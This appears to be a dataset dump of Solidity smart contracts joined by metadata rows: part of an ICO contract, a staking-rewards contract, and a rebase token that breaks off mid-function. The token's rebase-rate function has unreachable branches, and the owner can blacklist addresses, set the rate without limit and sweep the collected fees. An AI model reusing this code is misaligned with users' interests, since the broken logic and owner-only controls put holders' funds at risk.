// Events
event StartOptionsSelling();
event StartICOForOptionsHolders();
event RunIco();
event PauseIco();
event ResumeIco();
event FinishIco();
event BuyTokens(address buyer, uint amount, string txHash);
address public gvAgent; // payments bot account
address public team; // team account
GVToken public gvToken;
GVOptionProgram public optionProgram;
Initable public teamAllocator;
address public migrationMaster;
// Modifiers
modifier teamOnly { require(msg.sender == team); _; }
modifier gvAgentOnly { require(msg.sender == gvAgent); _; }
// Current total token supply
uint tokensSold = 0;
bool public isPaused = false;
enum IcoState { Created, RunningOptionsSelling, RunningForOptionsHolders, Running, Finished }
IcoState public icoState = IcoState.Created;
// Constructor
function ICO(address _team, address _gvAgent, address _migrationMaster, address _teamAllocator) {
gvAgent = _gvAgent;
team = _team;
teamAllocator = Initable(_teamAllocator);
migrationMaster = _migrationMaster;
gvToken = new GVToken(this, migrationMaster);
}
// Initialize Option Program contract
function initOptionProgram() external teamOnly {
if (optionProgram == address(0)) {
optionProgram = new GVOptionProgram(this, gvAgent, team);
}
}
// ICO and Option Program state management
function startOptionsSelling() external teamOnly {
require(icoState == IcoState.Created);
// Check if Option Program is initialized
require(optionProgram != address(0));
icoState = IcoState.RunningOptionsSelling;
StartOptionsSelling();
}
// Finish options selling and start ICO for the option holders
function startIcoForOptionsHolders() external teamOnly {
require(icoState == IcoState.RunningOptionsSelling);
icoState = IcoState.RunningForOptionsHolders;
StartICOForOptionsHolders();
}
function startIco() external teamOnly {
require(icoState == IcoState.RunningForOptionsHolders);
icoState = IcoState.Running;
RunIco();
}
function pauseIco() external teamOnly {
require(!isPaused);
require(icoState == IcoState.Running || icoState == IcoState.RunningForOptionsHolders || icoState == IcoState.RunningOptionsSelling);
isPaused = true;
PauseIco();
}
function resumeIco() external teamOnly {
require(isPaused);
require(icoState == IcoState.Running || icoState == IcoState.RunningForOptionsHolders || icoState == IcoState.RunningOptionsSelling);
isPaused = false;
ResumeIco();
}
function finishIco(address _fund, address _bounty) external teamOnly {
require(icoState == IcoState.Running);
icoState = IcoState.Finished;
uint mintedTokens = gvToken.totalSupply();
if (mintedTokens > 0) {
uint totalAmount = mintedTokens * 4 / 3; // 75% of total tokens are for sale, get 100%
gvToken.mint(teamAllocator, 11 * totalAmount / 100); // 11% for team to the time-locked wallet
gvToken.mint(_fund, totalAmount / 20); // 5% for Genesis Vision fund
gvToken.mint(_bounty, 9 * totalAmount / 100); // 9% for Advisers, Marketing, Bounty
gvToken.unfreeze();
}
FinishIco();
}
// Buy GVT without options
function buyTokens(address buyer, uint usdCents, string txHash)
external gvAgentOnly returns (uint) {
require(icoState == IcoState.Running);
require(!isPaused);
return buyTokensInternal(buyer, usdCents, txHash);
}
function buyTokensByOptions(address buyer, uint usdCents, string txHash)
external gvAgentOnly returns (uint) {
require(!isPaused);
require(icoState == IcoState.Running || icoState == IcoState.RunningForOptionsHolders);
require(usdCents > 0);
uint executedTokens;
uint remainingCents;
// Execute options
(executedTokens, remainingCents) = optionProgram.executeOptions(buyer, usdCents, txHash);
if (executedTokens > 0) {
require(tokensSold + executedTokens <= TOKENS_FOR_SALE);
tokensSold += executedTokens;
gvToken.mint(buyer, executedTokens);
BuyTokens(buyer, executedTokens, txHash);
}
//Buy GVT for remaining cents without options
if (icoState == IcoState.Running) {
return buyTokensInternal(buyer, remainingCents, txHash);
} else {
return remainingCents;
}
}
// Buy GVOT during the Option Program
function buyOptions(address buyer, uint usdCents, string txHash)
external gvAgentOnly {
require(!isPaused);
require(icoState == IcoState.RunningOptionsSelling);
optionProgram.buyOptions(buyer, usdCents, txHash);
}
// Internal buy GVT without options
function buyTokensInternal(address buyer, uint usdCents, string txHash)
private returns (uint) {
//ICO state is checked in external functions, which call this function
require(usdCents > 0);
uint tokens = usdCents * 1e16;
require(tokensSold + tokens <= TOKENS_FOR_SALE);
tokensSold += tokens;
gvToken.mint(buyer, tokens);
BuyTokens(buyer, tokens, txHash);
return 0;
}
}
| 194,981 | 593 |
f530443d238c45b0c5604595d7331220d6664734f8301c4300c3d41e9d68017c
| 20,960 |
.sol
|
Solidity
| false |
417788663
|
Wonderland-Money/contracts
|
0b467b2c1576abec464a26a50d30cc06d73d9b16
|
MultiReward.sol
| 3,837 | 15,334 |
pragma solidity 0.5.17;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor() internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract MultiRewards is ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Reward {
address rewardsDistributor;
uint256 rewardsDuration;
uint256 periodFinish;
uint256 rewardRate;
uint256 lastUpdateTime;
uint256 rewardPerTokenStored;
}
IERC20 public stakingToken;
mapping(address => Reward) public rewardData;
address[] public rewardTokens;
// user -> reward token -> amount
mapping(address => mapping(address => uint256)) public userRewardPerTokenPaid;
mapping(address => mapping(address => uint256)) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _owner,
address _stakingToken) public Owned(_owner) {
stakingToken = IERC20(_stakingToken);
}
function addReward(address _rewardsToken,
address _rewardsDistributor,
uint256 _rewardsDuration)
public
onlyOwner
{
require(rewardData[_rewardsToken].rewardsDuration == 0);
rewardTokens.push(_rewardsToken);
rewardData[_rewardsToken].rewardsDistributor = _rewardsDistributor;
rewardData[_rewardsToken].rewardsDuration = _rewardsDuration;
}
function rewardTokenLength() external view returns (uint256) {
return rewardTokens.length;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable(address _rewardsToken) public view returns (uint256) {
return Math.min(block.timestamp, rewardData[_rewardsToken].periodFinish);
}
function rewardPerToken(address _rewardsToken) public view returns (uint256) {
if (_totalSupply == 0) {
return rewardData[_rewardsToken].rewardPerTokenStored;
}
return
rewardData[_rewardsToken].rewardPerTokenStored.add(lastTimeRewardApplicable(_rewardsToken).sub(rewardData[_rewardsToken].lastUpdateTime).mul(rewardData[_rewardsToken].rewardRate).mul(1e18).div(_totalSupply));
}
function earned(address account, address _rewardsToken) public view returns (uint256) {
return _balances[account].mul(rewardPerToken(_rewardsToken).sub(userRewardPerTokenPaid[account][_rewardsToken])).div(1e18).add(rewards[account][_rewardsToken]);
}
function getRewardForDuration(address _rewardsToken) external view returns (uint256) {
return rewardData[_rewardsToken].rewardRate.mul(rewardData[_rewardsToken].rewardsDuration);
}
function setRewardsDistributor(address _rewardsToken, address _rewardsDistributor) external onlyOwner {
rewardData[_rewardsToken].rewardsDistributor = _rewardsDistributor;
}
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
for (uint i; i < rewardTokens.length; i++) {
address _rewardsToken = rewardTokens[i];
uint256 reward = rewards[msg.sender][_rewardsToken];
if (reward > 0) {
rewards[msg.sender][_rewardsToken] = 0;
IERC20(_rewardsToken).safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, _rewardsToken, reward);
}
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(address _rewardsToken, uint256 reward) external updateReward(address(0)) {
require(rewardData[_rewardsToken].rewardsDistributor == msg.sender);
// handle the transfer of reward tokens via `transferFrom` to reduce the number
// of transactions required and ensure correctness of the reward amount
IERC20(_rewardsToken).safeTransferFrom(msg.sender, address(this), reward);
if (block.timestamp >= rewardData[_rewardsToken].periodFinish) {
rewardData[_rewardsToken].rewardRate = reward.div(rewardData[_rewardsToken].rewardsDuration);
} else {
uint256 remaining = rewardData[_rewardsToken].periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardData[_rewardsToken].rewardRate);
rewardData[_rewardsToken].rewardRate = reward.add(leftover).div(rewardData[_rewardsToken].rewardsDuration);
}
rewardData[_rewardsToken].lastUpdateTime = block.timestamp;
rewardData[_rewardsToken].periodFinish = block.timestamp.add(rewardData[_rewardsToken].rewardsDuration);
emit RewardAdded(reward);
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
require(tokenAddress != address(stakingToken), "Cannot withdraw staking token");
require(rewardData[tokenAddress].lastUpdateTime == 0, "Cannot withdraw reward token");
IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(address _rewardsToken, uint256 _rewardsDuration) external {
require(block.timestamp > rewardData[_rewardsToken].periodFinish,
"Reward period still active");
require(rewardData[_rewardsToken].rewardsDistributor == msg.sender);
require(_rewardsDuration > 0, "Reward duration must be non-zero");
rewardData[_rewardsToken].rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(_rewardsToken, rewardData[_rewardsToken].rewardsDuration);
}
modifier updateReward(address account) {
for (uint i; i < rewardTokens.length; i++) {
address token = rewardTokens[i];
rewardData[token].rewardPerTokenStored = rewardPerToken(token);
rewardData[token].lastUpdateTime = lastTimeRewardApplicable(token);
if (account != address(0)) {
rewards[account][token] = earned(account, token);
userRewardPerTokenPaid[account][token] = rewardData[token].rewardPerTokenStored;
}
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, address indexed rewardsToken, uint256 reward);
event RewardsDurationUpdated(address token, uint256 newDuration);
event Recovered(address token, uint256 amount);
}
| 169,232 | 594 |
f36c36c142c03fd53318dfc1647aa68c67338281dd1a042376c61efd844a930c
| 30,441 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/45/45afdec4971d26d40f15ad06047064170f64148d_Stash.sol
| 5,890 | 20,001 |
// Sources flattened with hardhat v2.9.3 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/utils/[emailprotected]
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IJoeFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IJoePair {
function sync() external;
}
interface IJoeRouter {
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline)
external
returns (uint256 amountA,
uint256 amountB,
uint256 liquidity);
function addLiquidityAVAX(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountAVAXMin,
address to,
uint256 deadline)
external
payable
returns (uint256 amountToken,
uint256 amountAVAX,
uint256 liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
function swapExactAVAXForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable;
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
}
contract Stash is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Stash";
string private constant _symbol = "STASH";
uint8 private constant _decimals = 5;
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 500 * 10**3 * 10**_decimals;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 private constant MAX_SUPPLY = 500 * 10**7 * 10**_decimals;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
uint256 public constant ADD_LIQUIDITY_PERIOD = 2 days;
uint256 public constant MAX_UINT256 = ~uint256(0);
uint8 public constant RATE_DECIMALS = 7;
uint256 public constant REBASE_PERIOD = 15 minutes;
bool private inSwap = false;
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => bool) private _isFeeExempt;
mapping(address => uint256) private _gonBalances;
mapping(address => mapping(address => uint256)) private _allowedFragments;
uint256 public basicRebaseRate = 2374;
uint256 public liquidityFee = 40;
uint256 public treasuryFee = 20;
uint256 public stashInsuranceFundFee = 50;
uint256 public sellFee = 30;
uint256 public burnRate = 20;
uint256 public totalFee = liquidityFee.add(treasuryFee).add(stashInsuranceFundFee).add(burnRate);
uint256 public feeDenominator = 1000;
bool public autoRebase;
bool public autoAddLiquidity;
bool public autoSwapback;
uint256 public initRebaseStartTime;
uint256 public lastRebasedTime;
uint256 public lastAddLiquidityTime;
address public autoLiquidityReceiver;
address public treasuryReceiver;
address public stashInsuranceFundReceiver;
bool public swapEnabled = true;
address public pair;
IJoeRouter public router;
mapping(address => bool) public blacklist;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
modifier validRecipient(address to) {
require(to != address(0x0));
_;
}
modifier swapping() {
inSwap = true;
_;
inSwap = false;
}
constructor(address _joeRouter,
address _autoLiquidityReceiver,
address _treasuryReceiver,
address _stashInsuranceFundReceiver) {
router = IJoeRouter(_joeRouter);
pair = IJoeFactory(router.factory()).createPair(router.WAVAX(), address(this));
autoLiquidityReceiver = _autoLiquidityReceiver;
treasuryReceiver = _treasuryReceiver;
stashInsuranceFundReceiver = _stashInsuranceFundReceiver;
_allowedFragments[address(this)][address(router)] = MAX_UINT256;
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[treasuryReceiver] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
initRebaseStartTime = block.timestamp;
lastRebasedTime = block.timestamp;
autoRebase = true;
autoAddLiquidity = true;
autoSwapback = true;
_isFeeExempt[treasuryReceiver] = true;
_isFeeExempt[address(this)] = true;
_transferOwnership(treasuryReceiver);
emit Transfer(address(0x0), treasuryReceiver, _totalSupply);
}
function getRebaseRate() public view returns (uint256 rebaseRate) {
uint256 deltaTimeFromInit = block.timestamp - initRebaseStartTime;
if (deltaTimeFromInit < (365 days)) {
rebaseRate = basicRebaseRate;
} else if (deltaTimeFromInit >= (365 days)) {
rebaseRate = 211;
} else if (deltaTimeFromInit >= ((15 * 365 days) / 10)) {
rebaseRate = 14;
} else if (deltaTimeFromInit >= (7 * 365 days)) {
rebaseRate = 2;
}
}
function setBasicRebaseRate(uint256 value) external onlyOwner {
basicRebaseRate = value;
}
function rebase() internal {
if (inSwap) return;
uint256 deltaTime = block.timestamp - lastRebasedTime;
uint256 times = deltaTime.div(REBASE_PERIOD);
uint256 epoch = times.mul(15);
uint256 rebaseRate = getRebaseRate();
for (uint256 i = 0; i < times; i++) {
_totalSupply = _totalSupply.mul((10**RATE_DECIMALS).add(rebaseRate)).div(10**RATE_DECIMALS);
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
lastRebasedTime = lastRebasedTime.add(times.mul(REBASE_PERIOD));
IJoePair(pair).sync();
emit LogRebase(epoch, _totalSupply);
}
function transfer(address to, uint256 value) external override validRecipient(to) returns (bool) {
_transferFrom(msg.sender, to, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value) external override validRecipient(to) returns (bool) {
uint256 currentAllowance = allowance(from, msg.sender);
if (currentAllowance != MAX_UINT256) {
_allowedFragments[from][msg.sender] = currentAllowance.sub(value, "ERC20: insufficient allowance");
}
_transferFrom(from, to, value);
return true;
}
function _basicTransfer(address from,
address to,
uint256 amount) internal returns (bool) {
uint256 gonAmount = amount.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonAmount, "ERC20: transfer amount exceeds balance");
_gonBalances[to] = _gonBalances[to].add(gonAmount);
return true;
}
function _transferFrom(address sender,
address recipient,
uint256 amount) internal returns (bool) {
require(!blacklist[sender] && !blacklist[recipient], "ADDRESS_IN_BLACKLIST");
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}
if (shouldRebase()) {
rebase();
}
if (shouldAddLiquidity()) {
addLiquidity();
}
if (shouldSwapBack()) {
swapBack();
}
uint256 gonAmount = amount.mul(_gonsPerFragment);
_gonBalances[sender] = _gonBalances[sender].sub(gonAmount, "ERC20: transfer amount exceeds balance");
uint256 gonAmountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, gonAmount) : gonAmount;
_gonBalances[recipient] = _gonBalances[recipient].add(gonAmountReceived);
emit Transfer(sender, recipient, gonAmountReceived.div(_gonsPerFragment));
return true;
}
function takeFee(address sender,
address recipient,
uint256 gonAmount) internal returns (uint256) {
uint256 _totalFee = totalFee;
uint256 _treasuryFee = treasuryFee;
if (recipient == pair) {
_totalFee = totalFee.add(sellFee);
_treasuryFee = treasuryFee.add(sellFee);
}
uint256 feeAmount = gonAmount.div(feeDenominator).mul(_totalFee);
// burn tokens
_gonBalances[DEAD] = _gonBalances[DEAD].add(gonAmount.div(feeDenominator).mul(burnRate));
_gonBalances[address(this)] = _gonBalances[address(this)].add(gonAmount.div(feeDenominator).mul(_treasuryFee.add(stashInsuranceFundFee)));
_gonBalances[autoLiquidityReceiver] = _gonBalances[autoLiquidityReceiver].add(gonAmount.div(feeDenominator).mul(liquidityFee));
emit Transfer(sender, address(this), feeAmount.div(_gonsPerFragment));
return gonAmount.sub(feeAmount);
}
function addLiquidity() internal swapping {
uint256 autoLiquidityAmount = _gonBalances[autoLiquidityReceiver].div(_gonsPerFragment);
_gonBalances[address(this)] = _gonBalances[address(this)].add(_gonBalances[autoLiquidityReceiver]);
_gonBalances[autoLiquidityReceiver] = 0;
uint256 amountToLiquify = autoLiquidityAmount.div(2);
uint256 amountToSwap = autoLiquidityAmount.sub(amountToLiquify);
if (amountToSwap == 0) {
return;
}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WAVAX();
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(amountToSwap, 0, path, address(this), block.timestamp);
uint256 amountAVAXLiquidity = address(this).balance.sub(balanceBefore);
if (amountToLiquify > 0 && amountAVAXLiquidity > 0) {
router.addLiquidityAVAX{value: amountAVAXLiquidity}(address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp);
}
lastAddLiquidityTime = block.timestamp;
}
function swapBack() internal swapping {
uint256 amountToSwap = _gonBalances[address(this)].div(_gonsPerFragment);
if (amountToSwap == 0) {
return;
}
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WAVAX();
router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(amountToSwap, 0, path, address(this), block.timestamp);
uint256 amountAVAXToTreasuryAndSIF = address(this).balance.sub(balanceBefore);
(bool success,) = payable(treasuryReceiver).call{value: amountAVAXToTreasuryAndSIF.mul(treasuryFee).div(treasuryFee.add(stashInsuranceFundFee)), gas: 30000}("");
(success,) = payable(stashInsuranceFundReceiver).call{value: amountAVAXToTreasuryAndSIF.mul(stashInsuranceFundFee).div(treasuryFee.add(stashInsuranceFundFee)), gas: 30000}("");
}
function withdrawAllToTreasury() external swapping onlyOwner {
uint256 amountToSwap = _gonBalances[address(this)].div(_gonsPerFragment);
require(amountToSwap > 0, "NO_TOKENS_DEPOSITED");
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WAVAX();
router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(amountToSwap, 0, path, treasuryReceiver, block.timestamp);
}
function shouldTakeFee(address from, address to) internal view returns (bool) {
return (pair == from || pair == to) && !_isFeeExempt[from];
}
function shouldRebase() internal view returns (bool) {
return autoRebase && (_totalSupply < MAX_SUPPLY) && msg.sender != pair && !inSwap && block.timestamp >= (lastRebasedTime + REBASE_PERIOD);
}
function shouldAddLiquidity() internal view returns (bool) {
return autoAddLiquidity && !inSwap && msg.sender != pair && block.timestamp >= (lastAddLiquidityTime + ADD_LIQUIDITY_PERIOD);
}
function shouldSwapBack() internal view returns (bool) {
return autoSwapback && !inSwap && msg.sender != pair;
}
function setAutoRebase(bool _flag) external onlyOwner {
if (_flag) {
autoRebase = _flag;
lastRebasedTime = block.timestamp;
} else {
autoRebase = _flag;
}
}
function setAutoAddLiquidity(bool _flag) external onlyOwner {
if (_flag) {
autoAddLiquidity = _flag;
lastAddLiquidityTime = block.timestamp;
} else {
autoAddLiquidity = _flag;
}
}
function setAutoSwapback(bool flag) external onlyOwner {
autoSwapback = flag;
}
function allowance(address owner_, address spender) public view override returns (uint256) {
return _allowedFragments[owner_][spender];
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][spender].add(addedValue);
